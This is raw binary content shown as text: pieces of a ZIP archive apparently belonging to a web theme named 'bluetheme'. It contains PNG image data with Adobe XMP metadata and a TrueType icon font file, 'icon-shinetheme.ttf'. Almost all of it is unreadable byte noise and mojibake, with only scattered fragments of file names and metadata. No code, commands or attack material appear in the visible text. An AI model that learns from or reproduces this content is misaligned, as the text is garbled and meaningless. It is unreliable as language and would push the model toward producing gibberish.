IHDR�wS�tEXtSoftwareAdobe ImageReadyq�e<#iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)" xmpMM:InstanceID="xmp.iid:0FAE8AF3440111E3A558E93F82F4B0D9" xmpMM:DocumentID="xmp.did:0FAE8AF4440111E3A558E93F82F4B0D9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0FAE8AF1440111E3A558E93F82F4B0D9" stRef:documentID="xmp.did:0FAE8AF2440111E3A558E93F82F4B0D9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��FIDATx�b���?@���-Ή�IEND�B`�PK!�3:s��*bluetheme/assets/css/images/prjct-prev.pngnu&1i��PNG


IHDR;Ao��sBIT|d�	pHYs.#.#x�?vtEXtCreation Time11/19/13�z�tEXtSoftwareAdobe Fireworks CS5.1�H�IDATh�홯kBQ��~X�0��aQpk�@�C0�`ò0&�Xߞ��X�
���4�+o�z����a�i��X��9�r��?�}�r><�}g�`G������b��)�+������b��2e��vR����E�x���y�ټ�R�G��C��!D˲�d�Ѹ��a׸�띦���x�0��>1��5�`�\.߲�l;�u��DQ����w0���~æ1����R�+!/;�
�JH5�T*G��d(��r��\	i��bq�����
U�O�NP���<�H�w:�K��ߐL�[_	IYn}%����u���+A-�~7
q�+A=Tl�[�+�A-�l6�,�J���+̜�r	��{��U.�?J�Rk�^���`e�����!���3��Utީ��}�[g�%��}�j�m>���Й��Ɋ��m�H$r�8N�2�Tc��A�Z
���-�ά���xu�#a�ضݏ�b*�Y4�P�̾��ә}e	@���p���d
��U�,JhL�)�+������b��)�+����T�ou��``�aIEND�B`�PK!'�< ��.bluetheme/assets/css/fonts/icon-shinetheme.ttfnu&1i�
�PFFTMhb$T��GDEF��� OS/2.�ܝXVcmapĘū�
 gasp����glyfwe�9,<head�c���6hhea��$hmtxs�6��loca.8�"�Lmaxp
t8 nameP���Hh�post����I�7�=@�_<���@��@��.����(0��@.v�q9@��#9>#9�sPfEd@�����(�D��������������8������������� �
�T��0������������8��������������������������T�T�������������������T�8���8���������������+�+����������8���8�������������������8�������������������8���*������"��(��8���������������������������������T�8����������������������������������������������������������������T�8�8�b�T�8�8�p�����������������������8�8�7��8�8�8��������������������,���T�T�8�������8����������������������d������p�����������������������������������������T����)����������������������1����*����������������������������������������������PP����������������������������8�8��������������������������P���PP���������P�����������P������������������������������P��PPPP������������PP�����_�*�r�7��7�c���*�*��T���������������*�������������������-�|�{������8���������8��������8������������T�8����*���S���������T�T�M�����J�T�*�*������������T�������b����������������T�������������������@�����`�`������`���`���`����������@@@���
��������`��
��``� ��`������	`�@` ��������`�����������  ���������� ��  ��  ������``@`���``�����������
���������������������`��������`���������������`������@``������ ��������������������
�
����`���`����``����
�
������������  
�����`�������������������`���@����`� ��� ����������@�`�����`�����`�������,4
b1p=�`xpp}##}�}}��^^��xx�CLL5C555P�
PP.YYYCi�d�,5CCCCCYC
,

(
^x^^###,,,vJCC,#
g,
CCCC!G(1bb�P,C/`(!	#,-/,,,,,,pJ1d[-�4 �%��>�N�^�n�~��������������.�>�N�^�n�~����!�@�P�`�p�������������� �0�@�P�`�p�2|��		*	F	b	~	�	�	�	�	�

*
F
b
~
�
�
�
�
	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./�0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�����������������������������������������������������������������������������������������������������������������������������	

vwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~������������������utsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"! 

	��������������������������������������������������������������������������������������������������������������������������������~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"! T��H�X�P�l�4��d�D��l	<	�	�
�
�
��`
4
�T�H�H�\�4�� t��0��������H�P�` < � �!<!�""D"�"�#8#p$$�%H%�&l'P'�(�(�))p)�* *�+0+x+�,d,�,�-@-�-�..H.�.�.�//L/�/�00�101�2�3�44�5�6�6�7T7�8l989�:�:�;X;�<l<�=L=�>>|>�>�?�?�@h@�ApA�B�C|DE�F@F�GHG�HLH�I(IpI�J�KlK�L<L�MTM�NHN�OTO�PpP�Q<Q|R0R�SSlS�S�T�T�UUtU�VLV�WW�W�XYYhY�ZDZ�Z�[[L\�^$^�_@_�`Laa�a�b c\d�d�e e`e�e�fLf�gg�hh�ii�jjtkktll|mhnn�o@pp�q�r�s(s�tDt�uTu�v$v�w�x�z{4{�{�|X|�}}T}�}�~ ~�~����(�p�����P�����<�X����������D�h�����h���L�|���(�d����D������4�T�|�������$�t����P�����4��� ��������l���<�|�����4�p�����8�X����T�����,����X���P� �T�����,�����8������h����l�����P���T���<���x�P��������L������@�������d����x����<����l���(���0�����0������`�<�8�X�4�h���������l��|����<�����p��L��Ĉ�dƨ�0�������h���x�@���d����Ϝ�(��Ѭ���`��հ�X���ظ�`�x���,�l��ݸ�p���`��p�,���X����L������`����@�����$�x����x���<�����P������4������l���h����<�����p��X���X�����D�����4��� �x����0�h������P�x������@�x������0�h�����P���,��������$�L�t����0��`�X�d���`�l��D��	<	�	�
@
�
� h�d��
8
�0�H|�0t��t�H��4�D|�h�`�T��H�D�|p��� , �"8#@$t%D%�&P&�'�(H(�)�*�+�,�.0h1|2�3�4�5�5�6�7�7�888�9<9�:�;�=�>H>�?8?p?�@ @�A<A�BBhB�C D�D�E�F�F�G G�H HtH�I$J\KK�LLPL�M MhM�NNtN�ODP�Q$Q�Q�RXRtR�S�T$UUpU�`�`�aTa�bb\b�c�d\d�e�f$f�f�f�gHg�hh0h�i�jPj�j�kDl`m�nn�o�pdp�q\rr<sls�t�v�ww�x,x�x�y�z�{D{�|\|�}�~�(���`���H���h��h���d������x��x�@���T�4��� ���H������X�X���<�����(�t��p�����4���H���$���T�����������t�d�T�D����������������4�4�����\���d���d���t���<����t��h�,���0���0��X���€���Xè�8����0�ǔȔ��ɬ�p���L���h�@���(Ϭ�\�ш��Ӽ�h��ׄ�H���|�@ڼ۴�4�d�(��ބ���`���d���8������$��,��<�� �����H�d� ���<��,����,����`�X�(�����`�D�h��|� �T�����D�x�����������`��	
T ���
L
���Txt@��L�T�\� L!`"L"�#�$@$�%t%�&�''�(�(�)X*8+D+�-�.\//�0,0�1`22H3t4�5x88�9�9�:�;@;�<<�<�=l>0>�>�?�?�A BXB�C�D�E$E�F�GLG�HxH�II�J0J�KK|K�LDL�MDM�N�O�P\P�QxQ�RTR�R�SHS�T$T|T�UULU�V(V�W<W�X�Y�ZDZ�Z�[T[�\D]]�_D_�`�aTbcdd�e�f�g�hh�i jlkkplLl�nn�n�o�pLp�q�r�sPs�t<t�u`vv�wLw�xTydz�{t||�}X}�~���(���X���L���x���`���l��������`����������8���������������h����H������������T����������\���8���T���,�d�D�,�h�$���P�������p�������������d����������H�|������L�������D�������� �8����� �l����������,�L�l�P���������<��<�t�����H����D�h�����p�����@����p���X��������Œ���\à��\���H��ƨ����lǼ��4�l��`ɰ��d�ˤ�$̘��\͔ʹ��@�p���$�h����h��,ќ���@҄�,Ӏ��p���,լ��|���<���|�ٔ���Xۼ�$��\ެ��p���P�������t�����`��4�H�l��L���h������,�|��������<����p���X�����H���4���<���d���D����d��h�@�<��x`�l		�	�
(
`
��@�

�h�<����!��@��@���s%'57#5##57�����8ppp�~��G��A�pp�~���V%'5#'3353353�T8T�8�8�8vT~FT��TT����d7353377&"&462��**T8T**�  d�**�TT�**,  	����'3#3#3#3#3#3#3#73#35335#��888888p888888���8T8�@�88888888888���pp����H#5!3!26=!!!!3#3#3#'3#��xzT��P����ppppTT���8���8������	2'767''7z)b��~b���)b��~b`������?'.'?#%75�8��E+8�T�T��"h�ěw"����T�T�8����-7>67.>67&6767"37767.�
9	H$4/F�_S3T:% 9	0 (>^}o8�	)����'7"'73264&"'>57�bb88�11w"x0%�bb8�F##x"wMG\#����42#4&#52#4'.'&#"/723264&"'>527�Qs*Z@t�*B*-0792b
||8*,sQ@Z~�t0-*B~9)*8*
||
)+A8����0%4145./10267<#"'>54'0�$109,%b�b8A..7k&UB7=>W&E``E.@_8
1(���d%)%5#54&#!"3!26=3##";2=4+57!5!�T��48�8���4��Tp8������d!!!!577&462"���P8�@l��TsQT"",��P�x���8��8Q""���H!!!462"!77��x�p"";��Tp8H��l��4W""��*���H
!''5!462"%!35!8�8?1�P��""��xl���]5Q��W""�����H (,6264&"7#.+"#"3!26=4&"&4627#53�5L55L�b
pb��fIIfIH88�L55L5?����IfIIfy����%"&46325"&46325�49R99)�9R99),T8�)):)�5�)):)�����17;5#"33275&#74&"5&5462&'>54'6T�b���


s�s


�����]��](%0�
QssQ
�0%���H&"27645�a�aa�a��:I�II���T	���H"!#535#535#53#3#535#535#537���888888���T888888�pH��P��88888����888888�T���H%)6462"&462"54&+"3!26=5#53�):)):�):)):'F�*p����:)):)):)):)F*�*FČT����'/7G#";26=4&"&462&"&462"&462"&462&"&462'.+"463z�))�))�"""";"";""""'�) ,)�))�)��""�""m""m""�""� )�'����.#"3267'62"&4�Y2]��]2Y�2$*���*$�� ����%.'127;5.'2>&f(9

9()0J""TT""J0�=%%=I8'$87%'8I
����3%">7654&#"&'&#"32767;5.'3264&X'5%%5'&55&&%TT%&&55�
'
'&66&'
'
5L6
-FF-
6L5T��l�7����������%654&'654&"!4&B$):)$-5�5j!7))7!Z66Z���d'3<P$4&#3#3#6&"'&'&476762$47+32'?6'6"'&'&476762�"$
#m66h2$						��!!.8$
4���^0!L -
*w)		)w*
_D*&*��..��.d#62&"/62&"%& '6762462"ӊ2(!\!(OR�R(A�A7F6'c��c'6FI�l�1(!!(ORR(BB�6'bb'6������
0H%4&"3'>'&5462'>54&".5462'>54&".5462����QA�AQ�!.!!%B\B%! *5RtR5* 5Bs�sB�]��]Gss!!L
8"/FF/"8
MKH.:RR:.HKa<RwwR<a���]'6462"764".467.467364�!.!!.Z!((!�!((!s>0880�0880>�.!!.!�BNB2��2BNB	�KcvccvcK�����!"&463!!"3!3#���
��!!P���H��"P!��!������,7!3#3#3#3#�jYj��pp88ppp88$��$48�48����&!357#357#357#357!'"&462���b8�8�8�8T�������������88@����#!"3!2654&!!3#3#3#53#z��P��4������������l�xP������#-!"3!2654&!!3#3#6462"3#"354&z��P��4�����""-8����l�xP��""����$'.+"3!26=4&'3#!33�4
*�4{5QT��p.4
���*$5�Pp����$(,0'.+"3!26=4&'3#!333#3#3#�4
*�4{5QT��p�������.4
���*$5�Pp8����*'.+"3!2654&#5#!"54;23�>
$�BHO���o)>
��
$
H��zo����	#5'#3!5'#'#'33##53533lTTĨT,,�,,��T���T8TT��p�,,�,8T�pT�T8����%)#3##35#";7453#54&+"#3'#53zp��fpT888�T88H�pP��f��T88����5#3!%#53537##5353�T���,T�TT,��T�pT�pPH,��TTTp�,��T����
*-3#54&+"#3'#5354+3##535#";375537##534888�T88��p~�TT,T��H88pF8���TT��,T����� #)%54+54&+"#";375%3#53537##53lb8b~�T��88T�8,T���F��TT�p8��,T�����
*-3#54&+"#3'#5354+3##535#";!##53534888�T88�TTp~�,��T�H88pF8Tp���T4(,ĨT���d
%'5''77'7�����I-��-��-��-��ppp�KKK>ppYppY���H	5!!!73��xz�x���P8���H
7!733lT��T88~8�$��l88������#"2?>=4&"&462�~*��#
�
8""�
�
#��*~�""���d*#"2?>=4&"&462&/&4?>3�b*
�

z
"
�
8""���
z

�
*�
d
�
"
z

�
*b�""w�
z
"
�
�
���H#'+/37;?3#3#3#3#3#3#3#3#3#3#73#73#73#73#'3#'3#88T8TpT�T���T8��T88�88H������������������9����#'+/37;?CGKOSW[_cgkosw{�������������������������#37#53#%#37#53##37#53#3#;+3#;+3#;+3#3#;+3#;+3#;+3#;#73#%3#73#'3#73#;#73#;#73#;#73#;#73#3#'3#73#;#73#73#3#'3#73#73#;#73#3#'3#;#73#;+3#73#73#�pp�888lpp�888�pp�888���x8pT�8�8�T88dp���88Tp���88�p���88��88888888888888����#'7'%'"&4?'&"7622764'7�8p8*   

��

   


�p�p�8p8z   

��

   


�p�p����%462"$462"75!4&#23!5!"&58""�"";��!!P��'""""�!�!����.>%26?6&#!4&+33!264&+=3#+"&=46;2+"&=46;2s)��!TT
������!8��T����H!%)-159=EM&!'.+";;2?653#=3'3#3#3#3#537#537#53462"6462"���F-�8�888�?;841-�#+3;CK��""�""(��sT��""""���d#'+"264"&462'535#5##3#33535+53#53)�{{�{��bb�b�8888888T8d{�{{��b�bb�T8p8p8�8���H#'+!"3!26=4&!2!54!"=!%3#73#73#���l��l�xz�����88H��**��~~T88888���d#'+;G#";26=4&#537#";2654&#535#53#";26=4&##5#53533�������������8888d��pT��l�8T��p8888����"+5"264462"7'64'?'1&"/62&4?271"=�������1F11F�N		6y ,$N�)%		Ny
, $N�������F11F1	 ,
$N�N		%)y, $N�6		N���d%#"&54>76&#"3>54&4
p
O*GR�*	/]h
p
]**�RG.O0��(%&54>'.#"&'&76767212023�
	@;'"	;@	
;��;�7	
777����&*426=#5!"3!5326=#5326=#5"2"&4#3#546;2�8��l88�.!!.!T�!8!8�xp88!.!!.�����!!���d1Y!#";#";#";#";!2654&#5326=4+5326=4+5326=4+5326=4+53���)		))		))		))		)Q��8



8d8				8l�x	
	
	
	
���H!"3!2654&57!7!?���l�v&�---\��vH���\�n00v{�����#37577'7�**bbMw�Mp**�b�**pM�wMbb**bT��l�">54"&462tRF##0%iF11F1�R:>�..IG^':�1F11FT��l�">54"&462&462"tRF##0%hH22H2� ,  ,�R:>�..IG^':�2H22H,  , ����"264"&462/#35&"&462=�������kk�k�~F~d��������k�kk�uF~F8���d7'%��4�p,8��8P��/P	��-P���d'77/7%7&�������pp�pp�pp,88��888P$-��-�)��)$))����d2#5264&"3'3>#53�QssQ@ZZ�-"QbbH
n�p8ds�s*Z�Z-"/ppH`�8�T����
%'53"264"&462 \8L�������bb�b8\|dL �������b�bb�����
"264'53=������\8L�������\|dL���d+37'5372.'6&54632"37273'654"&462�0(@8p#1$=)�)=$1#,��b&
'Z'
&z\BB\B�0(@`�1#,)=$$=),#18bF</Y22Y/<F�B\BB\����!%)"264"&4627654&#"'&#"63#73#1�ss�s��]]�]1#)X�)#13jTTHs�ss��]�]]��#1!!1#KY�����(<%4.54'.'654&"27>5."&'&'6762�!!-!%/!!cLDLcW#. , .#((:�:("#0%	%7	


B+%0#&&		



����'5354&+"32654&"&47672/�8T8Gak�ka7RtR)'8

8')+hHKkkKHh�RRt)'��')����#'3773#73#73#3#73#73#'3#73#73#'3##5##5#!!!�88T88T88�88T88T88T88T88T88�8848�88���l�88888p88888�88888884�@��\4����#+3?EU#"&=#"&=#"3!2654&!5!$2=4"2=4"#3#3#;5#3!"&53!26=�*�*P��P���8�pppp�88J��<H��4���88888b88��

���d#3#!";35326=4&#536"&462p��4�xT�T|��vd8�pp���j���H#'+/37;?C!"3!2654&3##5'3##5'3##5'3#3##53#53#535#535#53�@��88T8p88T8p88T8T88���pTT88TTH��8888T888T888T88T8888888���d%!3#35#5!!��@�T�T�P��P������H
%54&#!"#!5#537!5!���8��ppT��L��TT8�T��l�#";2654&3#"&4627#3B���ppDT�����l�D8��l�#";2654&"&4627#3P���


h����x��T


34����!"3!2654&"427#3^���p�����l�NP���� &'7'"#'2764"'&4762�;@HbpUNHa�aFI�II�IHbpU
I�II��		1l1		1l8����)-=#!5#54+"#54;2!5!4;2#54+"#!5!4;2#54+"#4�TPp	&		^	�P��p	^		&	pP��p	^		&	�8ppT		/		�p%		/		�p%		/		���,
#3!26=##'#734���p8p8Lu�u,�F**F88�����,#3!26=#'3%73%3'#!'#4����p���u�u����F$�,�pp8��TT����%)'!'73#3#3#3#!"3!2?6&#53�"��"9��������B�\040�pp�����8�

�8���d	!3!25'3533%7!l��T��TpT��dT��&�pTT����d	!3!25#5#7%7!l��T��pT����dT��&�TTpp����d?#5##'7'75�pT8T� r��r z��pppB *EE* .pTTp���d7353'3'7575�8TppTT�������ppp1+0EE0+?pTTp����!!#3#!3353��x��88����!��@�p�P�����H!265!%3#!!T#1�@1;8�x�1##184����d"'3'632654&�]AB�?1FFb9%L�dBB�?1bFL2*Ce]����d57&5463235&#"L%9bFF1?�BA]]��eC*2LFb1?�BB�����5!55!��@ب�\�����3!3���\���@�����>.'76M K8��9V0	$@;=/o��m5GLM+����55&.>���8K $	0Vm��o/=;!MLG5+����755.>s K8��9V0	$�;=/o��m5GLM����7'7>&'Ĩ�8K $	0V-m��o/=;!MLG5���d2#"'5>54'.54����]!N2 ',dk�k!&J*K����1#"'#"&4622&#""#"'5>54'.546�-4JJhJ�[�!%A.0!N2 ',�
 !B\BB.$
hI)+=!&J*Kk����-2#"'5>54'.54.'#"'27676545{�{{WH.$*�('<>1bF#3$�d�d$E'F��&	9%&++;!;���d4"6763233276764'&'&2#"'5>54'.54H!-$!--����]!N2 ',,$1
$b$Ck�k!&J*K����E#"'#"&4626763233"'5>54'.54632&'&'&'&"�-4JJhJ��-!N2 ',�][�#!H!
 !B\BB.$
$1
8!&J*KkhI&����4M"6763233276764'&'&2#"'5>54'.54.'#"'27676545�B)


!))��{{WH.$*�('<>1bF#3$H

!,

!X!
Bd�d$E'F��&	9%&++;!;���V,%"&=6726'4>."3;4.

&


	C>��>CM&+		+!55�����V(P%&56726'0>."13;4&67&'&'&767&767&#"13336B	
 
	a��a�

C
	a�  %		%<<		:=	%
<8���];!"&54767&'&54762%3&'&'&=47>54&"s��	"$!!b!!$"��#+<+#@	02'!&6'(('6&!'20	*)-&55&-)���y;c!"&54767&'&54762%3&'&'&=47>54&"'#67676=4'.5463267&#";6���	"$!!b!!$"��#+<+#M)#+1!!$"	:@	02'!&6'(('6&!'20	*)-&55&-))-&5('6&!'20	���d6462"#"3!354&pB\BB\��.B�B�\BB\BB..B8����462"#7''#"!54.�1F11F�X!**!XP	F11F1��**��
��
���,#72"&=463"6!2"&=463"6b)99Q:sQ:))99Q:sQ:)�9R99)Qs8)9R99)Qs8)����%9%>54'!!654&4675.5!'&=4767#3&?.7�|7..7�7��4..444..4k!!�!!3��i>>ii>>i�?^,^??^,^?$$$$EE����#+5?G462"4621"462"4621"462"&4621"&4621"462"�!.!!.V!.!!.,A��##@1.!!.!.!!!Kf!B�#Z���y<%.'&7>767232654'.'&7>76�#@()++N;!<&%)(I8,8##&&D3

4 !##?/�-P=">''**K9 :$I$5
6"!%$B1
1 "���	!)747'7&%654''7.'675"'27TQG2%%2GQp> Q\:� >:\<22t2�aBD)66)DBa�84D�8UD4�

E����"264$2"&4"&47264'7=�������\BB\B-o�o7+VzV+7������B\BB\|oo�8+zVVz+8����!">322654&267#"&54&"�[�jJKk"�][�jJKk"���[PosQ]��@�[PosQ]�����%#7&"2767#"&46327��?1�bb�1+ W2]��]]AB�?1b�b1%#)���BB����)5=I3#73##5##5##";26=3;26=4&#"&46;27#"4;2#"&46;2��ਨ�ppp

�
8
�
��l		l		O�l		l		�ppppp
�

��

�
��������%'&654&"3276."&462�j(b�bbF>/Z!�\BB\BZ/>Fbb�b(j
!qB\BB\����)%'&654&"3276."&462'##33535#�j(b�bbF>/Z!�\BB\BT888888Z/>Fbb�b(j
!qB\BB\�88888����!%'&654&"3276."&462'3#�j(b�bbF>/Z!�\BB\BĨ�Z/>Fbb�b(j
!qB\BB\J8����
''7''537#7'7#57�<]/\<�\/]<��<�<\/_\<�<]��<\/]<<]/\<���<�<]//]<�<\����
73''7!'535#57'7#7'7�<Y/XX/Y<��<Y/X�<�<X/��<X/YY/X<�8�<X/Y0<�<Y/����
''7'#57�FT*TFFTF�FT��FT*TF��TF�FT����
7''7'%#57�FT*TF�TF�FT��FT*TF�TF�FT����!%1%'&/.353535356?6&'77/&?6�,",		y
�T888>
Q����
	w


	w
�,",	Q
>�b88
y	��5

w	


w	����";53535373264"&462ntR�888$:RQ""�R:

�T88$Rt:""8����'%#54&"#"3!26=4&"&4627#5462lB\B�p!.!�T.BB.T����T!!��d%/%#54&+"#";26=4&#7&54627#546;21#8#1		�	d8(p8�T#11#T	�		�	�=�T���d#/#"#";26=4&+546;2354&#7&5462P8#1�		�		881�8d1#T	�		�	TTT#1��=����%'654&#""/3272?64��J4I,IJ4�,�4JI,I4J�	,���d37OS54&+"#3;26=35534&+"#3;26=35#534&+"#3;26=35#53�	F	TT	F	���8�	F	��	F	TTT8�	F	TT	F	��T8H		8		8888M		8		8888M		8		8888����37OS%326=4&+5##";33#26=4&+5##";35'3#'26=4&+5##";35'3#�		8		8888M		8		8888M		8		8888�	F	TT	F	�P8�	F	��	F	TTT8�	F	TT	F	��T8����#+%&67'#"&5#'632347>7&"&462�,#2XD,,#2XD,�L55L5uDL2$LDL2#L5L55L����'/�?'&/#'737677'6?5'&"&462%5'&'7'&'7'&'7'&/#'''77737677'677'677'67"&462�5Bd2$$2$D7�*$2$$2����'/%5'&'7'&/#'737677'67"&462�@&;5T5;&@@&;6T6;&�.!!.!vT5;&@@&;5T5;&AA&;5!.!!.���d%'&"'7#'#72?64��
P��>ZFZQ
�2�
Q�>ZFZP
�2	����.2'#73#3#75#3#3#'37'&"2?64/7p888p888�88�p8f���TT,88p8Tp8T888����TT���d)#54&+"#"3!26=4&'3###5#53533�TpT!!P!!�pp�T8TT8T88!�!!�!88�TT8TT����1%5#&'37'#"'654&"+'3#3#732737'#67�UGL1F1LGUU61*�*16�/%{f
#11#
f{%/ze88ez����
75"2654'7.#�Qss�s^9��s�ssQ.*81;�����:!!3"&463237&546223237&5462#"#"&547'*#8��@8W"-"-J"J"--8���"KK�
"�
KK���H5!!73#73#73#3#��@888T88T88T888�T��pp�����H+/7#";2=4#537#";254#537#";254#53~TTTT�TTTT�TTTT����p���4�̌���l������{+;?CGK%67676'&#"&'&#"#3!535'632#6'47632&#&'&#535#53#537#53R
## 
_P}
	+�	-]pp���pp���	
#?> 2
p��pT	"7
-
���8��8���d!+55!#327#"34&+567326="&=3%#"'6=3l��T1#
 7!�!7 
#1��3	F	3,88#1.W!!W.1#k38���d%32#46;54&/&63!2

8�8
x4�

��

x���d!)%#54&"26=3264&%62"'&'6+532lb�bb�b#11��'h''h']##�*))�))*1F19



�F����	:"334&""=4""=4""=4"35467676=�:)8T�	
T�)Ҩz)bbbbbbb��b*����(>7>7632>7:+)(2$! 1[#
-$=:0"�z-;?B58�"'%TAkL;:P#@+��	
3]:-J*����#>7175?4�TT&,
��p�d�p��
TT�����d92#.5465#53&'#53&'&'#5&"#53#3#37336���?5�5?_4'%/((/%'4TTd�]>ii>]�5J
%%
J5������)"264654&'6762"7+"=4?3=�������.%)1�1)%.*dC
�������(A
:)11):
A(p�����',"264"&462&462"462"&462"35'=�������bb�b�D�D8��������b�bb��������+'7676176&/&"#?416??6��-N+
-O

�
�O-*O-

�

"����,.67>?>'>.'./&'�


<)"2; 	
!!
	
b//@3 $


#L*�CD@C703'>"Ux.^6Q����%'5324+";3!26%753���� .. ��[8[ �]]�(88p�ee�(����)'#"&54?#2654"&5473264'3xl -@- l l�lx�\3=X=3t�>!--!>��DMllMD�\A-jkX>>Wlj-A����
!!75##7!5+53T���p�P�88@4T88TT8����	
-159#"!54&'#?#";26/.!";26?6&#'3#53#53^�PZvmp	
	�	
D����*8T88F*8H,,	:		:	������������H1#54&+"#"3!26=4&%3##+"=#+"=#5!�ppp���pp�8�8���p****����%'7''.73?5PP�8�L(L`8�P8ThP�8`L(L�8�PpT8���H!%%'#54&+"32654'32654'3'53�8T�$!.!�!.!$�:#�p8�
!!

!!
TFF����3##7#373'734�pTTTp���b@�pp�@p8pp����
5'373'5&462"��Č8TT8b"",888p����pQ""����&-4;%#.'5##335>73'#&'5"&462'#>3.5673�,	U:8:U	,,	U:8:U	,e,
&#4g8&
,4<,
&#4�&
,4�:U	,,	U:8:U	,,	U:8&
,4[�,
&#4�&
,4<,
&#4����'7>7�����|)L22L)��88!==1\mYYm\1I����3#7���p����������"&476752654&'3#)RtR)=Os�sO�88@<
)tRRt)
<hBQssQBhR�����''7''7'>7''�(N,N(N2&�&2��4?>3�8T8(N,N(N2&�&2d4
�3>E8T8����!%7'777!#3!265#54&+"#35+53�Z@x��8!!�88�T88$h2j���P��!!P88����3#7!!3#7!!3#7!!pp���pp���pp����pT8TpT8TpT8����#!!!!!!462"462"462"�������!.!!.!!.!!.!!.!!.d8p8p8U.!!.!�.!!.!�.!!.!����)7!!5!!5!!'#5#53#575#53#535#535#5�������T8T88TT88888�8�8TpT�@@h����,5!!5!!!!!!%75'4��4��4��4��P8888�8�8p88�TTTT���,!!!!!!��x��x��x,TTT���dUY]ae%#54&+5326=4&+";#"#";26=4&+53#";26=4&+53#";26=4&#53#53'53#53�w		F		w		F		p		F		p		F	��88�8888�880[8	F		F	8[	F		F	TT	F		F	TT	F		F	T888�88��8�%4&'.#"&#"&#"3!26�!=*3##22#-`)+;("2F2-���H#%.#"&#"&#";732654&'3533�=*3##22#+``4-!�T888�+;("2F2``-)�TTT���d%%654&#".#"&#";3532654&#5#7�)		,-.BB.8pb)!�8Fbb�)!"B\BTT)&jTTbb���d%#'#!5!!5##7�FbbF8��@��@�8b~~�bbp8pp~~���r
!!%!573353%7##5��@��@8ppp��~~b8Tp88T~~pp���d%'353#!5#53BppFT*��88�pp��ppp8���d7#!5#53%7##5���88��ppFTLpp8�pp�����d
 (-38@HMSZaho"264673%#67!#='6767#6#67&'373#&&'&'&'53'537&'3'#&'%67#63&'&673)�{{�{[7��7T
	
�	
D=TN7TLR
	
�	
D=T$1*��*

**
d{�{{���8R
$
R08�887R
$
R08TT'

'�'

'����y"&4667'.'&676.'.'.'&6763>7&>'.'&'&76'&323676'676&&67627&#"'2=������)

	
)



	(-A4$	
,:����������*: 	
1$/


		'	!%
>-9���� A'&"7&/&4?62764&'"/&4?&72?64'�X`#`/+C�#`/+CX`__X#0`/+CXj#0`/+CX_X����27#"&#"632$2#4l$00$1F1&..&1F��85 �� //K�\�����+%'2?64&"2737'"&473762"&471�#2�;S�)Rt)zzS;�2#���2$�S;�)tR){z;S�#2��,	!)"267&'"'&'67672654'"&462(�x  x�x  R((2x2((B\Bl"",M??MM??((  ((/AA/##����&0;%#"'732767&'"'7#&#"32.5466767&o4 xH(&"<2(&q�B�`%'Hx 3O��0u(%�%9?M
" ('��/A1`M?9$O�q0W(&�:	-=$"267.2"&4"'&'&'67672654''&"67625&$�u''u�u''��>*  *1F1*  H�H&!%/B�B/%!�<44<<44a

##
#11#
##�%%/'!!'/T��l�7T����@���8����
7'!73p��8���H�x���8�xP
���d'3?KWco6"264&2"&4"/&462'"/&462362"&4762"&472"&=42"&=4&46;2+"$46;2+"�  JF11F1������$�  D1F11F���<��t
����
%1=IUam"264522"&=4"&=4622+"&463+"&46;2"/&462%'&462"%"&4?6262"&47\BB\Bp)))(���'	��	
		��		B\BB\t�):)F(�		�				�		����
"264463"=������xbFF��������b�����v	%/7'7'?��EE�p��pbOm11mO���m�II�/3mMccMm���v	%/7'5��EE�p��p1mO���m�II�/�cMm���v	%/7'��EE�p�����m�II����d%"/&54632632�*��*K69&&96K�9&��&96K**K���d(%4&#"&#"2?6'&/&546327632�K69&&96K*��*P��+ )) +�6K**K69&��&�� +..+ ���d%"/&546327'7632�*��*K6#)b8�b#6K�9&��&96KB8��84K����*%2###"&'5>5232%3#"&=46;�

!>N8ST��88�**$$�j3#>(**F������*7"&63&>34632".67#"&65#532+5*

!>N8STP88�**$$�j3#>(**F������'264&"2"&427"&'6462"6462"��������kk�kj�@PnP�@�����k�kk�q%;PQ:6""""����"264&2"&4&2"&4"&'27=��������nP@�@������""""�Q:%%;����+264&"2"&4462"6462""&'726��������kk�kF�$?L?$
-4-@�����k�kk�j%%����#"264&2"&4&2"&4"&'7267=��������L?$
-4-
$�������%����+264&"2"&4462"6462"#"&=#5��������kk�kF�("p@�����k�kk�T**����#"264$2"&4#"&=#53&"&462=��������"p��������**T����+264&"2"&4462"6462"'>2."��������kk�kF��$?L?$
-4-@�����k�kk��%%����#"264&2"&4&2"&4."'>2=��������
-4-
$?L?�������%%����".264&"2"&4>7#"&'6462"&"&5462��������kk�k�/C
R7'A/�p<
"@�����k�kk��	)7K& $�""!


����&"264&2"&4"21&"054"&'7>7=�������(Bn'A/_/C
R������""
�& $	)7K����#)=Q264&"2"&4;26=&'&53#5353&27>227654&"27>227654&"��������kk�k*B.8.B�
8T88;
